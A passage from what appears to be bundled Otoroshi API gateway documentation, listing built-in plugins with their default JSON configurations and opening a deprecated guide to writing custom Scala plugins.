: {\n \"send\" : false,\n \"name\" : \"id_token\",\n \"headerName\" : \"X-OIDC-Id-Token\",\n \"jwt\" : true\n },\n \"accessToken\" : {\n \"send\" : false,\n \"name\" : \"access_token\",\n \"headerName\" : \"X-OIDC-Access-Token\",\n \"jwt\" : true\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OtoroshiChallenge }\n\n## Otoroshi challenge token\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OtoroshiChallenge`\n\n### Description\n\nThis plugin adds a jwt challenge token to the request to a backend and expects a response with a matching token\n\n\n\n### Default configuration\n\n```json\n{\n \"version\" : \"V2\",\n \"ttl\" : 30,\n \"request_header_name\" : null,\n \"response_header_name\" : null,\n \"algo_to_backend\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"algo_from_backend\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"state_resp_leeway\" : 10\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OtoroshiHeadersIn }\n\n## Otoroshi headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OtoroshiHeadersIn`\n\n### Description\n\nThis plugin adds Otoroshi specific headers to the request\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OtoroshiInfos }\n\n## Otoroshi info. token\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OtoroshiInfos`\n\n### Description\n\nThis plugin adds a jwt token with informations about the caller to the backend\n\n\n\n### Default configuration\n\n```json\n{\n \"version\" : \"Latest\",\n \"ttl\" : 30,\n \"header_name\" : null,\n \"add_fields\" : null,\n \"algo\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.OverrideHost }\n\n## Override host header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.OverrideHost`\n\n### Description\n\nThis plugin override the current Host header with the Host of the backend target\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.PublicPrivatePaths }\n\n## Public/Private paths\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.PublicPrivatePaths`\n\n### Description\n\nThis plugin allows or forbid request based on path patterns\n\n\n\n### Default configuration\n\n```json\n{\n \"strict\" : false,\n \"private_patterns\" : [ ],\n \"public_patterns\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.QueryTransformer }\n\n## Query param transformer\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.QueryTransformer`\n\n### Description\n\nThis plugin can modify the query params of the request\n\n\n\n### Default configuration\n\n```json\n{\n \"remove\" : [ ],\n \"rename\" : { },\n \"add\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RBAC }\n\n## RBAC\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RBAC`\n\n### Description\n\nThis plugin check if current user/apikey/jwt token has the right role\n\n\n\n### Default configuration\n\n```json\n{\n \"allow\" : [ ],\n \"deny\" : [ ],\n \"allow_all\" : false,\n \"deny_all\" : false,\n \"jwt_path\" : null,\n \"apikey_path\" : null,\n \"user_path\" : null,\n \"role_prefix\" : null,\n \"roles\" : \"roles\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ReadOnlyCalls }\n\n## Read only requests\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ReadOnlyCalls`\n\n### Description\n\nThis plugin verifies the current request only reads data\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Redirection }\n\n## Redirection\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Redirection`\n\n### Description\n\nThis plugin redirects the current request elsewhere\n\n\n\n### Default configuration\n\n```json\n{\n \"code\" : 303,\n \"to\" : \"https://www.otoroshi.io\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RemoveHeadersIn }\n\n## Remove headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RemoveHeadersIn`\n\n### Description\n\nThis plugin removes headers in the incoming otoroshi request\n\n\n\n### Default configuration\n\n```json\n{\n \"header_names\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RemoveHeadersOut }\n\n## Remove headers out\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RemoveHeadersOut`\n\n### Description\n\nThis plugin removes headers in the otoroshi response\n\n\n\n### Default configuration\n\n```json\n{\n \"header_names\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Robots }\n\n## Robots\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Robots`\n\n### Description\n\nThis plugin provides all the necessary tool to handle search engine robots\n\n\n\n### Default configuration\n\n```json\n{\n \"robot_txt_enabled\" : true,\n \"robot_txt_content\" : \"User-agent: *\\nDisallow: /\\n\",\n \"meta_enabled\" : true,\n \"meta_content\" : \"noindex,nofollow,noarchive\",\n \"header_enabled\" : true,\n \"header_content\" : \"noindex, nofollow, noarchive\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.RoutingRestrictions }\n\n## Routing Restrictions\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.RoutingRestrictions`\n\n### Description\n\nThis plugin apply routing restriction `method domain/path` on the current request/route\n\n\n\n### Default configuration\n\n```json\n{\n \"allow_last\" : true,\n \"allowed\" : [ ],\n \"forbidden\" : [ ],\n \"not_found\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.S3Backend }\n\n## S3 Static backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.S3Backend`\n\n### Description\n\nThis plugin is able to S3 bucket with file content\n\n\n\n### Default configuration\n\n```json\n{\n \"bucket\" : \"\",\n \"endpoint\" : \"\",\n \"region\" : \"eu-west-1\",\n \"access\" : \"client\",\n \"secret\" : \"secret\",\n \"key\" : \"\",\n \"chunkSize\" : 8388608,\n \"v4auth\" : true,\n \"writeEvery\" : 60000,\n \"acl\" : \"private\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.SOAPAction }\n\n## SOAP action\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.SOAPAction`\n\n### Description\n\nThis plugin is able to call SOAP actions and expose it as a rest endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : null,\n \"envelope\" : \"\",\n \"action\" : null,\n \"preserve_query\" : true,\n \"charset\" : null,\n \"jq_request_filter\" : null,\n \"jq_response_filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.SendOtoroshiHeadersBack }\n\n## Send otoroshi headers back\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.SendOtoroshiHeadersBack`\n\n### Description\n\nThis plugin adds response header containing useful informations about the current call\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.SnowMonkeyChaos }\n\n## Snow Monkey Chaos\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.SnowMonkeyChaos`\n\n### Description\n\nThis plugin introduce some chaos into you life\n\n\n\n### Default configuration\n\n```json\n{\n \"large_request_fault\" : null,\n \"large_response_fault\" : null,\n \"latency_injection_fault\" : null,\n \"bad_responses_fault\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.StaticBackend }\n\n## Static backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.StaticBackend`\n\n### Description\n\nThis plugin is able to serve a static folder with file content\n\n\n\n### Default configuration\n\n```json\n{\n \"root_path\" : \"/tmp\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.StaticResponse }\n\n## Static Response\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.StaticResponse`\n\n### Description\n\nThis plugin returns static responses\n\n\n\n### Default configuration\n\n```json\n{\n \"status\" : 200,\n \"headers\" : { },\n \"body\" : \"\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.TailscaleSelectTargetByName }\n\n## Tailscale select target by name\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.TailscaleSelectTargetByName`\n\n### Description\n\nThis plugin selects a machine instance on Tailscale network based on its name\n\n\n\n### Default configuration\n\n```json\n{\n \"machine_name\" : \"my-machine\",\n \"use_ip_address\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.TcpTunnel }\n\n## TCP Tunnel\n\n### Defined on steps\n\n - `HandlesTunnel`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.TcpTunnel`\n\n### Description\n\nThis plugin creates TCP tunnels through otoroshi\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.UdpTunnel }\n\n## UDP Tunnel\n\n### Defined on steps\n\n - `HandlesTunnel`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.UdpTunnel`\n\n### Description\n\nThis plugin creates UDP tunnels through otoroshi\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.W3CTracing }\n\n## W3C Trace Context\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.W3CTracing`\n\n### Description\n\nThis plugin propagates W3C Trace Context spans and can export it to Jaeger or Zipkin\n\n\n\n### Default configuration\n\n```json\n{\n \"kind\" : \"noop\",\n \"endpoint\" : \"http://localhost:3333/spans\",\n \"timeout\" : 30000,\n \"baggage\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmAccessValidator }\n\n## Wasm Access control\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmAccessValidator`\n\n### Description\n\nDelegate route access to a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmBackend }\n\n## Wasm Backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmBackend`\n\n### Description\n\nThis plugin can be used to use a wasm plugin as backend\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmOPA }\n\n## Open Policy Agent (OPA)\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmOPA`\n\n### Description\n\nRepo policies as WASM modules\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : true,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmPreRoute }\n\n## Wasm pre-route\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmPreRoute`\n\n### Description\n\nThis plugin can be used to use a wasm plugin as in pre-route phase\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmRequestTransformer }\n\n## Wasm Request Transformer\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmRequestTransformer`\n\n### Description\n\nTransform the content of the request with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmResponseTransformer }\n\n## Wasm Response Transformer\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmResponseTransformer`\n\n### Description\n\nTransform the content of a response with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmRouteMatcher }\n\n## Wasm Route Matcher\n\n### Defined on steps\n\n - `MatchRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmRouteMatcher`\n\n### Description\n\nThis plugin can be used to use a wasm plugin as route matcher\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmRouter }\n\n## Wasm Router\n\n### Defined on steps\n\n - `Router`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmRouter`\n\n### Description\n\nCan decide for routing with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.WasmSink }\n\n## Wasm Sink\n\n### Defined on steps\n\n - `Sink`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.WasmSink`\n\n### Description\n\nHandle unmatched requests with a wasm plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"source\" : {\n \"kind\" : \"Unknown\",\n \"path\" : \"\",\n \"opts\" : { }\n },\n \"memoryPages\" : 20,\n \"functionName\" : null,\n \"config\" : { },\n \"allowedHosts\" : [ ],\n \"allowedPaths\" : { },\n \"wasi\" : false,\n \"opa\" : false,\n \"authorizations\" : {\n \"httpAccess\" : false,\n \"proxyHttpCallTimeout\" : 5000,\n \"globalDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginDataStoreAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"globalMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"pluginMapAccess\" : {\n \"read\" : false,\n \"write\" : false\n },\n \"proxyStateAccess\" : false,\n \"configurationAccess\" : false\n },\n \"instances\" : 1,\n \"killOptions\" : {\n \"immortal\" : false,\n \"max_calls\" : 2147483647,\n \"max_memory_usage\" : 0,\n \"max_avg_call_duration\" : 0,\n \"max_unused_duration\" : 300000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.XForwardedHeaders }\n\n## X-Forwarded-* headers\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.XForwardedHeaders`\n\n### Description\n\nThis plugin adds all the X-Forwarded-* headers to the request for the backend target\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.XmlToJsonRequest }\n\n## request body xml-to-json\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.XmlToJsonRequest`\n\n### Description\n\nThis plugin transform incoming request body from xml to json and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.XmlToJsonResponse }\n\n## response body xml-to-json\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.XmlToJsonResponse`\n\n### Description\n\nThis plugin transform response body from xml to json and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ZipFileBackend }\n\n## Zip file backend\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ZipFileBackend`\n\n### Description\n\nServes content from a zip file\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : \"https://github.com/MAIF/otoroshi/releases/download/16.11.2/otoroshi-manual-16.11.2.zip\",\n \"headers\" : { },\n \"dir\" : \"./zips\",\n \"prefix\" : null,\n \"ttl\" : 3600000\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.tunnel.TunnelPlugin }\n\n## Remote tunnel calls\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.tunnel.TunnelPlugin`\n\n### Description\n\nThis plugin can contact remote service using tunnels\n\n\n\n### Default configuration\n\n```json\n{\n \"tunnel_id\" : \"default\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.wasm.proxywasm.NgCorazaWAF }\n\n## Coraza WAF\n\n### Defined on steps\n\n - `ValidateAccess`\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.wasm.proxywasm.NgCorazaWAF`\n\n### Description\n\nCoraza WAF plugin\n\n\n\n### Default configuration\n\n```json\n{\n \"ref\" : \"none\"\n}\n```\n\n\n\n\n\n@@@\n\n" + }, + { + "name": "create-plugins.md", + "id": "/plugins/create-plugins.md", + "url": "/plugins/create-plugins.html", + "title": "Create plugins", + "content": "# Create plugins\n\n@@@ warning\nThis section is under rewrite. The following content is deprecated\n@@@\n\nWhen everything has failed and you absolutely need a feature in Otoroshi to make your use case work, there is a solution. Plugins is the feature in Otoroshi that allow you to code how Otoroshi should behave when receiving, validating and routing an http request. With request plugin, you can change request / response headers and request / response body the way you want, provide your own apikey, etc.\n\n## Plugin types\n\nthere are many plugin types explained @ref:[here](./plugins.md) \n\n## Code and signatures\n\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/requestsink.scala#L14-L19\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/routing.scala#L75-L78\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/accessvalidator.scala#L65-L85\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/script.scala#269-L540\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/eventlistener.scala#L27-L48\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/job.scala#L69-L164\n* https://github.com/MAIF/otoroshi/blob/master/otoroshi/app/script/job.scala#L108-L110\n\n\nfor more information about APIs you can use\n\n* https://www.playframework.com/documentation/2.8.x/api/scala/index.html#package\n* https://www.playframework.com/documentation/2.8.x/api/scala/index.html#play.api.mvc.Results\n* https://github.com/MAIF/otoroshi\n* https://doc.akka.io/docs/akka/2.5/stream/index.html\n* https://doc.akka.io/api/akka/current/akka/stream/index.html\n* https://doc.akka.io/api/akka/current/akka/stream/scaladsl/Source.html\n\n## Plugin examples\n\n@ref:[A lot of plugins](./built-in-plugins.md) comes with otoroshi, you can find them on [github](https://github.com/MAIF/otoroshi/tree/master/otoroshi/app/plugins)\n\n## Writing a plugin from Otoroshi UI\n\nLog into Otoroshi and go to `Settings (cog icon) / Plugins`. Here you can create multiple request transformer scripts and associate it with service descriptor later.\n\n@@@ div { .centered-img }\n\n@@@\n\nwhen you write for instance a transformer in the Otoroshi UI, do the following\n\n```scala\nimport akka.stream.Materializer\nimport env.Env\nimport models.{ApiKey, PrivateAppsUser, ServiceDescriptor}\nimport otoroshi.script._\nimport play.api.Logger\nimport play.api.mvc.{Result, Results}\nimport scala.util._\nimport scala.concurrent.{ExecutionContext, Future}\n\nclass MyTransformer extends RequestTransformer {\n\n val logger = Logger(\"my-transformer\")\n\n // implements the methods you want\n}\n\n// WARN: do not forget this line to provide a working instance of your transformer to Otoroshi\nnew MyTransformer()\n```\n\nYou can use the compile button to check if the script compiles, or code the transformer in your IDE (see next point).\n\nThen go to a service descriptor, scroll to the bottom of the page, and select your transformer in the list\n\n@@@ div { .centered-img 